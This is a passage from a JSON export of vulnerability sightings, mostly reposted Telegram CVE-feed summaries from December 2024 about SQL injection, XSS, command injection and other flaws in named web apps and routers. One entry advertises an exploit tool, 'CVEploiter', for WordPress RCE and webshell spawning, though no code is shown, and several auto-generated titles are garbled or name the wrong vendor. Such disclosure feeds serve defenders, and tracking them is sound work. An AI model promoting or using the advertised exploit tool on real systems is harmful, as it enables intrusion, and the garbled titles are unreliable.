\nPublished : Dec. 28, 2024, 1:15 p.m. | 16\u00a0minutes ago \nDescription : A vulnerability was found in running-elephant Datart 1.0.0-rc3. It has been rated as critical. Affected by this issue is the function extractModel of the file /import of the component File Upload. The manipulation of the argument file leads to deserialization. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T14:37:13.000000Z"}, {"uuid": "def56f6b-f470-45ea-9f61-16edb9371aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12978", "type": "seen", "source": "https://t.me/cvedetector/13708", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12978 - Code-Projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12978 \nPublished : Dec. 27, 2024, 4:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Job Recruitment 1.0 and classified as critical. This vulnerability affects the function add_req of the file /_parse/_all_edits.php. The manipulation of the argument jid/limit leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T05:57:08.000000Z"}, {"uuid": "eaf566f3-0ba7-48ca-adb8-fb90131d2e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12976", "type": "seen", "source": "https://t.me/cvedetector/13707", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12976 - CodeZips Hospital Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12976 \nPublished : Dec. 27, 2024, 2:15 a.m. | 46\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in CodeZips Hospital Management System 1.0. Affected by this issue is some unknown functionality of the file /staff.php. The manipulation of the argument tel leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T04:16:47.000000Z"}, {"uuid": "d7a48478-8794-4abf-9132-8d95aff0de0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12969", "type": "seen", "source": "https://t.me/cvedetector/13704", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12969 - Code-projects Hospital Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12969 \nPublished : Dec. 26, 2024, 11:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in code-projects Hospital Management System 1.0. Affected by this issue is some unknown functionality of the file /admin/index.php of the component Login. The manipulation of the argument username/password leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:56:07.000000Z"}, {"uuid": "8795942e-575d-4d67-9c8a-281ddeeffbca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12977", "type": "seen", "source": "https://t.me/cvedetector/13705", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12977 - PHPGurukul Complaint Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12977 \nPublished : Dec. 27, 2024, 2:15 a.m. | 46\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in PHPGurukul Complaint Management System 1.0. This affects an unknown part of the file /admin/state.php. The manipulation of the argument state leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T04:16:46.000000Z"}, {"uuid": "ef88a4fa-92ca-446d-be9e-0dbe3396bd33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12967", "type": "seen", "source": "https://t.me/cvedetector/13703", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12967 - Code-Projects Job Recruitment SQL Injectionazard\", \n  \"Content\": \"CVE ID : CVE-2024-12967 \nPublished : Dec. 26, 2024, 10:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in code-projects Job Recruitment 1.0. Affected is the function fln_update of the file /_parse/_all_edits.php. The manipulation of the argument fname/lname leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:06:00.000000Z"}, {"uuid": "8da8d027-2ddd-44d1-b437-5b9dbc824c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12968", "type": "seen", "source": "https://t.me/cvedetector/13702", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12968 - Code-projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12968 \nPublished : Dec. 26, 2024, 10:15 p.m. | 44\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in code-projects Job Recruitment 1.0. Affected by this vulnerability is the function edit_jobpost of the file /_parse/_all_edits.php. The manipulation of the argument jobtype leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T00:05:59.000000Z"}, {"uuid": "d820b4fb-81f2-4315-bedc-680ffefd353f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1210", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/4049", "content": "\u2620\ufe0fCVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\n\u2708\ufe0fEnjoy", "creation_timestamp": "2025-03-05T23:29:05.000000Z"}, {"uuid": "29ed9c27-ae9e-431a-aac5-555890f860a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12965", "type": "seen", "source": "https://t.me/cvedetector/13696", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12965 - 1000 Projects Portfolio Management System MCA SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12965 \nPublished : Dec. 26, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in 1000 Projects Portfolio Management System MCA 1.0. It has been declared as critical. This vulnerability affects unknown code of the file /update_ex_detail.php. The manipulation of the argument q leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T23:15:43.000000Z"}, {"uuid": "b720969f-be0f-46da-bf49-ca3879eec454", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12989", "type": "seen", "source": "https://t.me/cvedetector/13791", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12989 - WISI Tangram GT31 SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12989 \nPublished : Dec. 27, 2024, 6:15 p.m. | 45\u00a0minutes ago \nDescription : A vulnerability was found in WISI Tangram GT31 up to 20241214 and classified as problematic. Affected by this issue is some unknown functionality of the component HTTP Request Handler. The manipulation leads to server-side request forgery. The attack may be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T20:12:24.000000Z"}, {"uuid": "79ea0ec5-d31c-4184-a692-598c950c3aa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12990", "type": "seen", "source": "https://t.me/cvedetector/13790", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12990 - Ruifang-tech Rebuild Open Redirect Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12990 \nPublished : Dec. 27, 2024, 6:15 p.m. | 45\u00a0minutes ago \nDescription : A vulnerability was found in ruifang-tech Rebuild 3.8.6. It has been classified as problematic. This affects an unknown part of the file /user/admin-verify of the component Admin Verification Page. The manipulation of the argument nexturl with the input http://localhost/evil.html leads to open redirect. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T20:12:24.000000Z"}, {"uuid": "ba8fc1dd-4a20-425a-b50d-597448984f8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://t.me/cvedetector/13787", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12856 - Four-Faith Router OS Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12856 \nPublished : Dec. 27, 2024, 4:15 p.m. | 23\u00a0minutes ago \nDescription : The Four-Faith router models F3x24 and F3x36 are affected by an operating system (OS) command injection vulnerability. At least firmware version 2.0 allows authenticated and remote attackers to execute arbitrary OS commands over HTTP when modifying the system time via apply.cgi. Additionally, this firmware version has default credentials which, if not changed, would effectively change this vulnerability into an unauthenticated and remote OS command execution issue. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T17:41:58.000000Z"}, {"uuid": "f421c5fb-9e9a-40bb-8d21-f7e61f21b908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://t.me/cvedetector/13786", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12987 - DrayTek Vigor2960/Vigor300B Web Management Interface Os Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12987 \nPublished : Dec. 27, 2024, 4:15 p.m. | 23\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4. Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web Management Interface. The manipulation of the argument session leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T17:41:58.000000Z"}, {"uuid": "bef53042-4409-4800-ba2f-0efd7fee2765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12961", "type": "seen", "source": "https://t.me/cvedetector/13688", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12961 - Apache MCA Portfolio Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12961 \nPublished : Dec. 26, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in 1000 Projects Portfolio Management System MCA 1.0. Affected is an unknown function of the file /update_ach_details.php. The manipulation of the argument q leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T19:55:00.000000Z"}, {"uuid": "f3a5998e-19af-448b-8761-834ac29c00fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://t.me/cvedetector/13687", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12908 - Delinea Secret Server Regular Expression Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12908 \nPublished : Dec. 26, 2024, 4:15 p.m. | 36\u00a0minutes ago \nDescription : Delinea addressed a reported case on Secret Server v11.7.31 (protocol handler version\u00a06.0.3.26)\u00a0where, within the protocol handler function, URI's were compared before normalization and canonicalization, potentially leading to over matching against the approved list. If this attack were successfully exploited, a\u00a0remote attacker may be able to convince a user to visit a malicious web-page, or open a  \nmalicious document which could trigger the vulnerable handler, allowing them to execute  \narbitrary code on the user's machine.\u00a0Delinea added additional validation that the downloaded installer's batch file was in the expected format. \nSeverity: 6.9 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T18:14:44.000000Z"}, {"uuid": "601d6a7a-57bf-41d3-92d3-4c91f7e0d97e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12958", "type": "seen", "source": "https://t.me/cvedetector/13686", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12958 - RPost MCA SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12958 \nPublished : Dec. 26, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability classified as critical has been found in 1000 Projects Portfolio Management System MCA 1.0. This affects an unknown part of the file /update_pro_details.php. The manipulation of the argument q leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T18:14:44.000000Z"}, {"uuid": "17b4278e-851d-42fc-8b41-bfd884e7c162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12959", "type": "seen", "source": "https://t.me/cvedetector/13685", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12959 - \"Fortress MCA SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12959 \nPublished : Dec. 26, 2024, 4:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in 1000 Projects Portfolio Management System MCA 1.0. This vulnerability affects unknown code of the file /update_personal_details.php. The manipulation of the argument q leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T18:14:43.000000Z"}, {"uuid": "92a9bdaf-e69c-4916-8d92-212c04e3aaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12518", "type": "seen", "source": "https://t.me/cvedetector/13557", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12518 - WordPress ShMapper Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12518 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The ShMapper by Teplitsa plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'shmMap' shortcode in all versions up to, and including, 1.4.18 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:28.000000Z"}, {"uuid": "6c1fb118-e22f-4810-a2d7-107a2804631a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12507", "type": "seen", "source": "https://t.me/cvedetector/13556", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12507 - Optio Dentistry WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12507 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The Optio Dentistry plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'optio-lightbox' shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:27.000000Z"}, {"uuid": "6988b23c-3c8f-467f-b4a3-9f39fda15ac9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12266", "type": "seen", "source": "https://t.me/cvedetector/13555", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12266 - ELEX WooCommerce Dynamic Pricing and Discounts Unauthenticated File Archive Inclusion and PHP Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-12266 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The ELEX WooCommerce Dynamic Pricing and Discounts plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the elex_dp_export_rules() and elex_dp_import_rules() functions in all versions up to, and including, 2.1.7. This makes it possible for unauthenticated attackers to import and export product rules along with obtaining phpinfo() data \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:26.000000Z"}, {"uuid": "486a6d50-2c94-40f8-a987-9af978bb37d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12980", "type": "seen", "source": "https://t.me/cvedetector/13711", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12980 - Code-Projects Job Recruitment Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12980 \nPublished : Dec. 27, 2024, 5:15 a.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been classified as problematic. Affected is the function fln_update of the file /_parse/_all_edits.php. The manipulation of the argument fname/lname leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T06:47:19.000000Z"}, {"uuid": "93ac81e1-1c2a-431c-92ab-0cd55a2f438b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12954", "type": "seen", "source": "https://t.me/cvedetector/13680", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12954 - \"1000 Projects Portfolio Management System MCA Unrestricted File Upload Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12954 \nPublished : Dec. 26, 2024, 2:15 p.m. | 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in 1000 Projects Portfolio Management System MCA 1.0. This affects an unknown part of the file /update_ach.php. The manipulation of the argument ach_certy leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T15:44:14.000000Z"}, {"uuid": "bdcb7b81-50c0-4fba-b689-4205d8a84c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12926", "type": "seen", "source": "https://t.me/cvedetector/13636", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12926 - Codezips Project Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12926 \nPublished : Dec. 25, 2024, 8:15 p.m. | 41\u00a0minutes ago \nDescription : A vulnerability classified as critical was found in Codezips Project Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /pages/forms/advanced.php. The manipulation of the argument name leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T22:10:30.000000Z"}, {"uuid": "61f16855-bfdd-4b8e-9013-07ca3751a615", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12032", "type": "seen", "source": "https://t.me/cvedetector/13615", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12032 - Tourfic - WooCommerce Booking SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12032 \nPublished : Dec. 25, 2024, 4:15 a.m. | 38\u00a0minutes ago \nDescription : The Tourfic \u2013 Ultimate Hotel Booking, Travel Booking & Apartment Booking WordPress Plugin | WooCommerce Booking plugin for WordPress is vulnerable to SQL Injection via the 'enquiry_id' parameter of the 'tf_enquiry_reply_email_callback' function in all versions up to, and including, 2.15.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-25T06:17:23.000000Z"}, {"uuid": "cfa3dd68-0090-441e-bddb-c76374c066dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12983", "type": "seen", "source": "https://t.me/cvedetector/13723", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12983 - Apacheumping Cross-Site Scripting in Hospital Management System\", \n  \"Content\": \"CVE ID : CVE-2024-12983 \nPublished : Dec. 27, 2024, 7:15 a.m. | 37\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in code-projects Hospital Management System 1.0. This affects an unknown part of the file /hospital/hms/admin/manage-doctors.php of the component Edit Doctor Details Page. The manipulation of the argument Doctor Name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T09:18:00.000000Z"}, {"uuid": "a2d51af1-8b65-4fb6-b603-30f5c0fcf722", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12981", "type": "seen", "source": "https://t.me/cvedetector/13720", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12981 - CodeAstro Car Rental System SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12981 \nPublished : Dec. 27, 2024, 6:15 a.m. | 15\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro Car Rental System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /bookingconfirm.php. The manipulation of the argument driver_id_from_dropdown leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T07:37:40.000000Z"}, {"uuid": "834c2023-122f-4a55-92ad-3b72d84714b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12956", "type": "seen", "source": "https://t.me/cvedetector/13682", 